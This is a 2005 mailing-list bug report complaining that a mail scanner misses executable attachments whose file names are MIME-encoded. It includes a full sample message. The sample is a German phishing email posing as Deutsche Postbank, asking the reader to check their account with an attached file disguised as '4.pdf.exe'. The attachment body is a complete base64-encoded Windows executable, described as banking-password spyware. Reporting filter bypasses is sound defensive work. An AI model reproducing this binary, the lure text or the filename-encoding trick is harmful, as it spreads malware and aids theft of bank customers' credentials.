Recently I got many mails with executable attachments although qs is configured to block them. The problem seems to be that the filename of the attachment ist encoded so qs does not notice that it is "4.pdf.exe".
This is nasty because the executable loads a virus which tries to spy bancing passwords. A sample email is attached to this mail. Werner
Message-ID: <[EMAIL PROTECTED]> Reply-To: <[EMAIL PROTECTED]> From: <[EMAIL PROTECTED]> To: <my email address> Subject: =?koi8-r?B?UG9zdGJhbms=?= Date: Sun, 30 Jan 2005 12:07:39 -0800 MIME-Version: 1.0 X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-GMX-Antispam: -2 (not scanned, spam filter disabled) X-Resent-By: Forwarder <[EMAIL PROTECTED]> X-Resent-For: [EMAIL PROTECTED] X-Resent-To: [EMAIL PROTECTED] X-Spam-Checker-Version: SpamAssassin 3.0.2 (2004-11-16) on gneiss.isc4u.de X-Spam-Level: ** X-Spam-Status: No, score=2.5 required=5.0 tests=FORGED_RCVD_HELO, MSGID_OUTLOOK_INVALID,NO_REAL_NAME,SPF_HELO_PASS,SPF_PASS autolearn=no version=3.0.2 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0011_01C45F70.C992BF3E" ------=_NextPart_000_0011_01C45F70.C992BF3E Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset="koi8-r" Sehr geehrter Postbankkunde, In letzter Zeit versenden Betrueger vermehrt eMails, die die Kunden aufford= ern, Kontonummer, PIN (Persoenliche IdentifikationsNummer) und TAN (Transak= tionsnummer) preiszugeben. Dabei sind die Absenderadressen der Banken gefae= lscht. Der Link in der eMail fuehrt jedoch nicht auf die sichtbare Adresse, sonder= n auf eine gefaelschte Bankseite. Auf dieser gefaelschten Bankseite bitten = die Betr=D8ger um Eingabe von Kontonummer, PIN und TAN. Dieser Bankseite fe= hlen jedoch alle "Echtheitsmerkmale" von Banking-Seiten Bitte ueberpr=D8fen Sie umgehend mit dem anhangenden Dokument ob Ihr Konto = gefaehrdet ist! =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D Deutsche Postbank AG Friedrich-Ebert-Allee 114 - 126 53113 Bonn Internet: www.postbank.de Sitz der Gesellschaft: Bonn HRB 6793, Amtsgericht Bonn Umsatzsteuer-Identifikationsnummer: DE 169824467 =A9 2004 Deutsche Postbank AG ------=_NextPart_000_0011_01C45F70.C992BF3E Content-Type: application/octet-stream; name="=?koi8-r?B?NC5wZGYuZXhl?=" Content-Disposition: attachment; filename="=?koi8-r?B?NC5wZGYuZXhl?=" Content-Transfer-Encoding: base64 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 BIkHg8cEg+kEd/EBz+lM////Xon3uRIAAACKB0cs6DwBd/eAPwB18osHil8EZsHoCMHAEIbEKfiA 6+gB8IkHg8cFiNji2Y2+AEAAAIsHCcB0PItfBI2EMKhjAAAB81CDxwj/luRjAACVigdHCMB03In5 V0jyrlX/luhjAAAJwHQHiQODwwTr4f+W7GMAAGHpGK7//wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAIAAwAAACAAAIAOAAAAYAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAOAAAgAAAAAAA AAAAAAAAAAAAAQAJBAAAUAAAAKhwAADoAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAoAAAgHgA AIAAAAAAAAAAAAAAAAAAAAEACQQAAJAAAACUcwAAFAAAAAAAAAAAAAAAAQAwALBAAAAoAAAAIAAA AEAAAAABAAQAAAAAAIACAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAA gIAAAICAgADAwMAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AAAAAAAHd3d3d3d3d3d3d3cA AAAAAAAAAAAAAAAAAAAHAAAAAIiIiIiIiIiIiIiIBwAAAACAiAhwCHB4AHhwCAcAAAAAhwAICAgI CAgHd4gHAAAAAIcIeAgICAgICAgIBwAAAACIB3hwCHB4AHhweAcAAAAAiACJiAiIiAiIiIgHAAAA AIhwiZgIiIgIiIiIBwAAAACIiIiZiIiIiIiIiAcAAAAAiIiIiZiIiIiIiIgHAAAAAIiIiIiZiIiI iImYBwAAAACIiIiIiZmZmZmYmAcAAAAAiIiIiIiYiJmZmYgHAAAAAIiIiIiImYmYiIiIBwAAAACI iIiIiImZiIiIiAcAAAAAiIiIiIiJmIiIiIgHAAAAAIiIiIiIiZiIiIiIBwAAAACIiIiIiImYiIiI iAcAAAAAiIiIiIiJmIiIiIgHAAAAAHd3d3d3cRd3iIiIBwAAAAAAAAAAAAAAB4iIiAcJmZmZmZmZ mZmZmQeIiIgHCZmfmZn/+Z+ZmZkHiIiIBwmZn5mZ+Z+fmZmZB4iIiAcJmZ//mfmfn/+ZmQeId3cH CZmfmfn5n5+ZmZkHgAAAAAmZn/+Z//mf//mZB4CZmQAJmZmZmZmZmZmZmQiAmZAAAAAAAAAAAAAA AAAIgJkAAAAAAACIiIiIiIiIiICQAAAAAAAAAAAAAAAAAAAAAAAA/4AAAP4AAAD+AAAA/gAAAP4A AAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAA AP4AAAD+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQAAAAMAAAAH/gAAD/4AAB+YQwAA AAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAAD8cwAA5HMAAAAAAAAAAAAAAAAAAAl0AAD0 cwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWdAAAJHQAADR0AAAAAAAAQnQAAAAAAABLRVJORUwzMi5E TEwAQURWQVBJMzIuZGxsAAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAARXhpdFByb2Nl c3MAAABSZWdDbG9zZUtleQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= ------=_NextPart_000_0011_01C45F70.C992BF3E--